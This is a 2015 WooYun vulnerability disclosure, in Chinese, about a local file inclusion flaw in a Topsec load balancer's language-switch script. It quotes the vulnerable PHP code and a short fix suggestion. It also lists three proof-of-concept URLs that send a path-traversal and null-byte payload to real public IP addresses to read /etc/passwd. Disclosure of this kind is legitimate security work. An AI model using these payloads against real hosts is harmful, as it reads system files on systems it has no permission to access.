当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0118464

漏洞标题:天融信负载均衡本地文件包含漏洞

相关厂商:天融信

漏洞作者: 路人甲

提交时间:2015-06-05 17:30

修复时间:2015-09-08 14:22

公开时间:2015-09-08 14:22

漏洞类型:文件包含

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-05: 细节已通知厂商并且等待厂商处理中
2015-06-10: 厂商已经确认,细节仅向厂商公开
2015-06-13: 细节向第三方安全合作伙伴开放
2015-08-04: 细节向核心白帽子及相关领域专家公开
2015-08-14: 细节向普通白帽子公开
2015-08-24: 细节向实习白帽子公开
2015-09-08: 细节向公众公开

简要描述:

天融信负载均衡本地文件包含漏洞

详细说明:

本地文件包含:
漏洞说明:
出入的地方:在change_lan.php传入会话变量。

<?php
error_reporting(E_ALL ^ E_WARNING ^ E_NOTICE);
include_once dirname(__FILE__)."/acc/common/config/item/configItem.inc";
require_once dirname(__FILE__)."/acc/common/constant.inc";
include_once dirname(__FILE__)."/acc/common/config/uci/dao/appexSystemDao.inc";
$configItem = new ConfigItem();
/**
*
*
* @version $Id: change_lan.php,v 1.8.2.4 2011/10/11 04:20:42 jzhang Exp $
* @copyright 2008
*/
$lanID = 'En';

$refLink = $_SERVER['HTTP_REFERER'];
if(empty($refLink)){
$refLink = "/index.php";
}
$refLink = str_replace("?error=1", "", $refLink);
if(array_key_exists('LanID',$_REQUEST))
{
$lanID = $_REQUEST["LanID"];
$appexSystemDao = new AppexSystemDao();
$appexSystemDao->setAppexSystemConfigItemValue(LANGUAGE_ID_FIELD,$lanID);
$appexSystemDao->commit();
session_start();
$_SESSION['lanID'] = $lanID;
header('Location: ' . $refLink);
}else{
header('Location: ' . $refLink . '?LanID=' . $lanID);
}

?>


执行的地方在,uiResources.inc,包含语言包

<?php
/**
*
*
* @version $Id: uiResources.inc,v 1.4 2009/05/25 08:42:57 jzhang Exp $
* @copyright 2008
*/
include_once dirname(__FILE__)."/../config/item/configItem.inc";
require_once dirname(__FILE__)."/../constant.inc";
include_once dirname(__FILE__)."/../config/uci/dao/appexSystemDao.inc";
$appexSystemDao = new AppexSystemDao();
$lanID = $appexSystemDao->getAppexSystemConfigItemValue(LANGUAGE_ID_FIELD);
if(empty($lanID)){
$lanID = "En";
}
$uiResBasic = dirname(__FILE__) . "/../../common/uiResources_".$lanID.".inc";
$uiRes = dirname(__FILE__) . "/../../common/clsf/uiResources_clsf_".$lanID.".inc";
include_once $uiResBasic;
include_once $uiRes;
?>


网络案例:
http://61.148.24.182:8080/change_lan.php?LanID=../../../../../../../../../etc/passwd%00
http://61.54.222.43:8080/change_lan.php?LanID=../../../../../../../../../etc/passwd%00
http://222.143.9.1/change_lan.php?LanID=../../../../../../../../../etc/passwd%00
截图证明:

QQ截图20150605161651.png


漏洞证明:

见详细

修复方案:

传入的LanID过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:2

确认时间:2015-06-10 14:21

厂商回复:

此漏洞,已经收到其它提交,感谢您的关注。

最新状态:

暂无